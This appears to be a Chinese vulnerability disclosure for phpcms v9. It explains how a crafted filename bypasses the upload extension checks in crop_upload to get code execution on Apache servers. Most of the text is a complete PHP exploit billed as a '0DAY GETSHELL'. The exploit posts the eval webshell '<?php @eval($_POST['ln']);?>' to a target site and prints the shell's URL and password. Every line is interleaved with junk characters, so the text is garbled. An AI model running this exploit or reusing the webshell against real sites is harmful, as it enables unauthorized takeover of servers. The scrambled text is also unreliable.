漏洞类型: 文件上传导致任意代码执行
; g, `* J, R6 t& J% q6 K
# l0 x1 e( |3 h7 m7 p简要描述:( k3 p5 K' M; M) \0 C& g( f
7 Y: P J: f- K. l# ^! K5 ophpcms v9 getshell (apache)
6 y2 m. e9 f2 b) g详细说明: y" a5 O( t7 d; p- v) T
# G0 F( I/ Q; s0 F+ ]漏洞文件:phpcms\modules\attachment\attachments.php
1 ?4 `- f6 e8 I6 Y# i
/ l0 C, G: |) k, G' w! O# q$ lpublic function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } }
7 u9 | u4 p6 d; k5 t) k后缀检测:phpcms\modules\attachment\functions\global.func.php
$ W; V7 ]( n! {7 P4 {0 y- T# a: y+ A% Z% N# q
# }" {0 M% P7 z3 X E7 U3 T8 j
6 j* U! n! q$ wfunction is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; } * W! @6 P) c1 Q' _. |
. h5 S+ s7 o9 R, m8 y( m# b" }关键函数:
; y& U r5 {8 |4 W0 [% Y5 [9 ^$ ?! M$ j8 I
) Y, N$ R. _* e. n9 B0 E! N3 L1 {# h. p& g8 M; N; b
function fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }
; U' o/ n$ W8 I/ ~2 u' f0 x& O4 T& n6 E
Fileext函数是对文件后缀名的提取。
. X8 b1 N2 J! I2 O" C' w根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php9 f) e" h4 n; d" n
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。% K0 b% E; q4 |1 i2 n
我们回到public function crop_upload() 函数中
5 \% _' e \# c( [if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
% ~# ]; a# [8 F; e; y9 e4 g' m, T在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
F8 d2 h! K' O0 N, V这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
, f! \' a' Q2 X3 {9 A经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
( F5 G7 {. ~# X' h2 n最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。1 |0 ~9 g2 M' \% J; r5 a
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。; v1 n* R, G/ T6 R: a. ~
漏洞证明:# e/ t, K2 {1 Z4 E+ `, H6 C- Y
- U% h8 R7 P. [4 E& ~) s% {5 Uexp:- O+ Q. A# U3 l4 d
X8 B' Z3 C4 l8 o
<?php
1 a& ~2 }. J9 k: b& Jerror_reporting(E_ERROR);
, |' j; k: w! m% {set_time_limit(0);
( F# g1 N, ]$ [3 ~. H$pass="ln";0 m+ J6 n+ l( ~/ o* _3 U6 }
print_r('
% q A+ ^* V6 u+---------------------------------------------------------------------------+
, G8 x$ V+ Y4 v# ?/ T" [PHPCms V9 GETSHELL 0DAY
* f) R* p/ ~( r5 e3 Jcode by L.N.; S( C; k) [; n0 h1 i
( h4 Z& ]; x2 ^% z1 \8 n3 ^
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net
/ E4 j; F; b% O# H* m+ ~8 N+---------------------------------------------------------------------------+
% {, F: n" S$ [! e' n& S# ?');
3 N( N: |5 s9 ]& ], eif ($argc < 2) {7 ?0 a$ |9 R, i; S- e
print_r('
, Y! W6 c& t5 ~: ]0 {' K* E+---------------------------------------------------------------------------+
: w( _- b; w# GUsage: php '.$argv[0].' url path
! ~& K. a6 M" L8 K* E! Y4 l: a8 M# ?8 [+ Y2 Y
Example:( o' T! }1 e1 G1 M. e2 h; \5 K; z
1.php '.$argv[0].' lanu.sinaapp.com
. g9 G8 v( {4 z3 r6 L) l- |2.php '.$argv[0].' lanu.sinaapp.com /phpcms3 [% a$ o* o- m9 i1 f
+---------------------------------------------------------------------------+7 k4 }4 ?% S5 G6 U5 N1 d4 t
');
! h S* }% y2 v% P7 K7 H% [exit;/ y8 f: }1 Z3 K7 g
}
% Q/ v; A4 Z g+ r: e+ s
: c* m$ ?8 y0 Z" a( }4 r; k" d$url = $argv[1];# t# h* _! O2 F. p0 D0 w
$path = $argv[2];
p* V+ b6 b0 L+ y$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';0 ~- g- C6 I: |4 X! R6 B/ o
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
' d7 a: e: S3 {: `8 d+ pif($ret=Create_dir($url,$path))# J; g1 n* [. R1 _
{
, B! W* L1 l) y9 \& n//echo $ret;) Z5 T9 j# g) j0 R
$pattern = "|Server:[^,]+?|U";
1 E. E2 Q/ \4 G3 v4 E3 B# Jpreg_match_all($pattern, $ret, $matches);
. A( s) w* } f4 [. W( xif($matches[0][0])0 h) X& @' y z: ^3 l" {. g
{
5 D L2 ]' N# P0 u% E6 K: yif(strpos($matches[0][0],'Apache') == false)! A! l- S9 Q& S4 F: I
{
: B& p2 h; b5 b( _! Z6 ]" Qecho "\n亲!此网站不是apache的网站。\n";exit;( X& [6 U( m$ Y" z( a, T7 i/ e9 |
}6 W8 [ O7 I4 e: o) [
}
; S3 W0 F) f: O* P5 Q- `2 y1 m$ret = GetShell($url,$phpshell,$path,$file);
8 d$ e' J% z( r7 i$pattern = "|http:\/\/[^,]+?\.,?|U";0 f1 E! k0 m( o3 |% i
preg_match_all($pattern, $ret, $matches);# |: S- A5 y) h
if($matches[0][0])
/ M$ E2 i3 {: _3 ]0 {5 M5 W{
; y: c2 C& e$ j% j) g4 V9 Z( L. d3 j7 lecho "\n".'密码为: '.$pass."\n";
N4 w: r8 H; N8 {' zecho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;, ^7 M K. t+ V+ l( o
}$ C+ c; R4 r' B6 `9 _* r# X( }( V
else4 v7 Q# b- f. W5 G, k
{
& [+ s% r7 _. t& d9 L- X0 {5 }$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
1 Y0 o& a( R, C0 a# n Q6 {preg_match_all($pattern, $ret, $matches);
% q& V4 s3 P+ s$ e% M0 {- bif($matches[0][0])
/ h8 o4 Y' }8 A' W% y; _. J% X{5 @4 p! A) }" n& g9 f
echo "\n".'密码为: '.$pass."\n";/ f. N. G2 i' Y; O) z1 r
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;9 X+ L8 H4 D; [) ?
}
* q; q: f& p. N: Nelse* g; O G; z! ~2 j) K d
{
q& H4 ^. m% M9 C) y8 X! techo "\r\n没得到!\n";exit;& l; H! d4 J) q+ L" m3 P
}
+ B3 |+ `" b, n! ?: z}
2 y/ d: M- ~$ Q+ i8 O: M. [}, _9 x$ ]6 S3 P7 F! V! [* j
1 z/ P9 r5 Q+ `+ z# R0 Afunction GetShell($url,$shell,$path,$js)! M$ a) D( ?0 D8 ]0 x: ?
{, h" D5 V2 F) Z6 B: Y( o
$content =$shell;
3 s8 ?9 v, l; g! w6 U, z- \$ m$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";- {# Y2 f6 A# x4 H. Y
$data .= "Host: ".$url."\r\n";
4 K7 b& o% D# n- ^1 P+ ~$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";/ a* y) @. E7 G. c7 N- ]( m) {
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
/ L1 y: D9 O1 [4 K! v$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
! j" }9 l$ P2 M- d$data .= "Connection: close\r\n";
! |) M% L- |2 y2 H$data .= "Content-Length: ".strlen($content)."\r\n\r\n";) n8 c1 K5 @ f/ Q8 ]' [
$data .= $content."\r\n";
6 a/ a. |2 \4 Q) n$ W1 L; H0 N3 y3 ]$ock=fsockopen($url,80);4 z9 I% J. j/ F
if (!$ock)% w: ~1 C( }$ ~& M' }) t' w
{
7 P) m, A- A6 J. y3 \echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;+ X) I7 k8 e( K) H; h
}
' q+ y6 G+ {! j/ zelse2 s4 u" l! J- D1 g0 a
{6 J; h; r0 A& c
fwrite($ock,$data);$ H/ Y$ s( P! _/ ]
$resp = '';+ |$ @8 |% a. H1 ^' F0 d* |
while (!feof($ock))
0 {1 d7 k. p5 e: q' I) T{
7 }- R- d' N# z' N: u, C+ m$resp.=fread($ock, 1024);
5 d- {1 e% [9 h* J% w. l5 e}9 |" J' V5 ?, A1 Z$ `, f
return $resp;0 r8 N' P+ k+ W
}" p3 V- H2 {# T6 M9 y
}0 ~5 x d' W! s
$ d9 X" g7 K9 P% o p2 rfunction Create_dir($url,$path='')
. g4 U2 q* a, X# _) V{
9 T' |" p( b w+ J7 X$content ='I love you';: G9 y: w; R; w2 \
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
" H& J8 h8 v4 g! h$data .= "Host: ".$url."\r\n";
1 _1 B: \1 n5 o5 N6 x$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
4 d/ f, ?! p2 J! z$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";5 l" X) s+ y6 K! S6 w1 C ^
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
- r. U: u6 h* I3 z$data .= "Connection: close\r\n";/ c0 S7 ]7 h- P3 a
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
3 P+ j( Y5 X8 G! g& `' g$data .= $content."\r\n";
) w! W1 ~0 T5 U, _# }4 b' Q$ock=fsockopen($url,80);
+ M( h, l G* m( W5 mif (!$ock)
" M: {# E+ t/ w* ^4 \. \- n+ S{
+ p- J$ Z# u& `9 d# k* iecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
; D( P1 `5 d& h}4 J$ a2 T( P5 F i$ U! b
fwrite($ock,$data);
2 V9 g; S7 @7 ?- F' d$resp = '';
4 s/ V4 z* s7 b: `4 x) x/ @while (!feof($ock))
' V' F! b/ _+ [0 T) N& @3 v: O{/ h( }0 G7 N) P7 R5 s
$resp.=fread($ock, 1024);; h# {7 A; E5 p0 y+ \. A
}
% ]1 [: X' p* I' Areturn $resp;3 w! n2 ^7 k8 K* R7 V5 m
}
& t" y' d6 ^) v# e% I$ [3 y?>
5 k/ h5 c2 P+ A
( P2 i" C0 `% [1 }0 ?修复方案:8 p, O1 b; R# v8 f
( C2 Z& C, i: O7 H# ?过滤过滤再过滤
, V6 ~& t+ e. O0 w( ~% H
) }6 [& t( t7 s8 v3 K ]. w |